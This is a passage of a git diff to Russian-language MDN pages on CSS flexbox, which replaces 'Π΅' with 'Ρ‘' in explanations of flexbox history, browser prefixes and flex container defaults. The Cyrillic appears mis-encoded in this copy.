Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π° ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅. Однако, Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС прСфиксы всС Ρ€Π°Π²Π½ΠΎ ΠΏΠΎΠΏΠ°Π»ΠΈ Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ½, ΠΈ измСнСния Π² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ спСцификации Π²Ρ‹Π½ΡƒΠ΄ΠΈΠ»ΠΈ людСй ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ сайты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ этой самой спСцификации ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<p><a href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Π’ 2009</a> спСцификация выглядСла совсСм ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>display: box</code> ΠΈ нСсколько <code>box-*</code> свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°Π»ΠΈ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСгодня Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅ ΠΏΠΎΠ΄ flexbox.</p>
<p>ΠžΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΠ΅Β <a href="https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/">ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅</a> спСцификации помСняло синтаксис Π½Π°Β <code>display: flexbox</code> β€” ΠΈ ΠΎΠΏΡΡ‚ΡŒ с Π²Π΅Π½Π΄ΠΎΡ€Π½Ρ‹ΠΌΠΈ прСфиксами.</p>
-<p>Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС спСцификация Π±Ρ‹Π»Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ <code>display: flex</code> ΠΊΠ°ΠΊ способ создания flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Начиная с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ вСрсии спСцификации отличная.</p>
+<p>Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС спСцификация Π±Ρ‹Π»Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ <code>display: flex</code> ΠΊΠ°ΠΊ способ создания flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Начиная с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ вСрсии спСцификации отличная.</p>
<p>БущСствуСт нСсколько старых статСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ вСрсии flexbox, ΠΈΡ… довольно Π»Π΅Π³ΠΊΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ ΠΏΠΎ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ созданиС flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Если Π²Ρ‹ нашли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅Β Β <code>display: box</code> ΠΈΠ»ΠΈΒ <code>display: flexbox</code>, Ρ‚ΠΎ это ΡƒΠΆΠ΅ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ информация.</p>
@@ -27,7 +27,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb
<ul>
<li>Internet Explorer 10, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π½Π΅Π΄Ρ€ΠΈΠ»Β <code>display: flexbox</code> Π²Π΅Ρ€ΡΠΈΡŽ спСцификации с прСфиксом <code>-ms-</code>.</li>
- <li>UC Browser, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ вСрсии 2009 Π³ΠΎΠ΄ с <code>display: box</code> ΠΈ прСфиксом <code>-webkit-</code>.</li>
+ <li>UC Browser, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ вСрсии 2009 Π³ΠΎΠ΄ с <code>display: box</code> ΠΈ прСфиксом <code>-webkit-</code>.</li>
</ul>
<p>Π’Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π½Π° Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ, Ρ‡Ρ‚ΠΎ Explorer 11 ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ соврСмСнный <code>display: flex,</code>Β ΠΎΠ΄Π½Π°ΠΊΠΎΒ Π½Π΅ Π±Π΅Π· Π±Π°Π³ΠΎΠ².</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
index 23f034fb6f..874e9a5982 100644
--- a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
---
<div>{{CSSRef}}</div>
-<p class="summary"><strong>CSS ΠΌΠΎΠ΄ΡƒΠ»ΡŒ раскладки Flexible Box</strong>, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ флСксбокс ΠΈΠ»ΠΈ flexbox ΠΈΠ»ΠΈ просто flex (флСкс), Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠ°ΠΊ модСль ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠ³ΠΎ-Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΈ ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² распрСдСлСния пространства ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Π² интСрфСйсС, с ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ возмоТностями выравнивания. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ даСтся ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС основных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ flexbox, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… руководствах.</p>
+<p class="summary"><strong>CSS ΠΌΠΎΠ΄ΡƒΠ»ΡŒ раскладки Flexible Box</strong>, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ флСксбокс ΠΈΠ»ΠΈ flexbox ΠΈΠ»ΠΈ просто flex (флСкс), Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠ°ΠΊ модСль ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠ³ΠΎ-Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΈ ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² распрСдСлСния пространства ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Π² интСрфСйсС, с ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ возмоТностями выравнивания. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ даётся ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС основных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ flexbox, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… руководствах.</p>
<p>Когда ΠΌΡ‹ описываСм flexbox ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ-Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ, ΠΌΡ‹Β  ΠΈΠΌΠ΅Π΅ΠΌ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ flexbox ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π΅Π»ΠΎ с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ Π² одной плоскости за Ρ€Π°Π· – либо Π² Π²ΠΈΠ΄Π΅ строки, Π»ΠΈΠ±ΠΎ Π² Π²ΠΈΠ΄Π΅ столбца. Как Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚ΡŒ Π΄Π²ΡƒΠΌΠ΅Ρ€Π½ΡƒΡŽ модСль CSS Grid Layout, которая управляСт ΠΈ столбцами ΠΈ строками ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.</p>
@@ -46,7 +46,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<h2 id="Начало_ΠΈ_ΠΊΠΎΠ½Π΅Ρ†_строки">Начало ΠΈ ΠΊΠΎΠ½Π΅Ρ† строки</h2>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΒ flexbox Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ΅ написания Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. РаньшС CSS Π±Ρ‹Π» сильно ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΠΈ Ρ€Π΅ΠΆΠΈΠΌ письма слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вСрстки ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉΒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Β Ρ€Π΅ΠΆΠΈΠΌΠΎΠ² письма, ΠΈ поэтому ΠΌΡ‹ большС Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ строка тСкста Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ сторонС, Π° Π½ΠΎΠ²Ρ‹Π΅ строки Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΎΠ΄Π½Π° ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠΉ.</p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΒ flexbox Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ΅ написания Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. РаньшС CSS Π±Ρ‹Π» сильно ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΠΈ Ρ€Π΅ΠΆΠΈΠΌ письма слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вёрстки ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉΒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Β Ρ€Π΅ΠΆΠΈΠΌΠΎΠ² письма, ΠΈ поэтому ΠΌΡ‹ большС Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ строка тСкста Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ сторонС, Π° Π½ΠΎΠ²Ρ‹Π΅ строки Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΎΠ΄Π½Π° ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠΉ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ большС ΠΎ взаимосвязи ΠΌΠ΅ΠΆΠ΄Ρƒ flexbox ΠΈ спСцификациСй Writing Modes Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ описаниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ Π½Π΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Π»Π΅Π²ΠΎΠΌ, ΠΏΡ€Π°Π²ΠΎΠΌ, Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ направлСниях Π½Π°ΡˆΠΈΡ… flex-элСмСнтов.</p>
@@ -64,7 +64,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<h2 id="Flex_ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€">Flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€</h2>
-<p>ΠžΠ±Π»Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π°Ρ flexbox, называСтся flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>flex</code> ΠΈΠ»ΠΈΒ <code>inline-flex</code> для свойства {{cssxref ("display")}} ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это, прямыС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ этого ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° становятся flex элСмСнтами. Как ΠΈ для всСх свойств Π² CSS, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, поэтому ΠΏΡ€ΠΈ создании flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° всС содСрТащиСся Π² Π½Π΅ΠΌ flex-элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ вСсти сСбя ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</p>
+<p>ΠžΠ±Π»Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π°Ρ flexbox, называСтся flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>flex</code> ΠΈΠ»ΠΈΒ <code>inline-flex</code> для свойства {{cssxref ("display")}} ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это, прямыС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ этого ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° становятся flex элСмСнтами. Как ΠΈ для всСх свойств Π² CSS, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, поэтому ΠΏΡ€ΠΈ создании flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° всС содСрТащиСся Π² Π½Π΅ΠΌ flex-элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ вСсти сСбя ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</p>
<ul>
<li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² ряд (свойство <code>flex-direction</code>Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>row</code>).</li>
@@ -75,7 +75,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<li>Бвойству {{cssxref("flex-wrap")}} Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>nowrap</code>.</li>
</ul>
-<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ этого являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ всС ваши элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ выстроСны Π² ряд, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ€ содСрТимого Π² качСствС ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ оси. Если Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ большС элСмСнтов, Ρ‡Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ, ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ ΠΈΒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚Β ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½. Если Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ элСмСнты Π²Ρ‹ΡˆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΡ…, всС элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ вытянуты вдоль ΠΏΠΎΠ±ΠΎΡ‡Π½ΠΎΠΉ оси, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ось в ΠΏΠΎΠ»Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€.</p>
+<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ этого являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ всС ваши элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ выстроСны Π² ряд, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ€ содСрТимого Π² качСствС ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ оси. Если Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ большС элСмСнтов, Ρ‡Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ, ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ ΠΈΒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚Β ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½. Если Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ элСмСнты Π²Ρ‹ΡˆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΡ…, всС элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ вытянуты вдоль ΠΏΠΎΠ±ΠΎΡ‡Π½ΠΎΠΉ оси, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ось в ΠΏΠΎΠ»Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ flexbox.</p>
@@ -87,7 +87,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
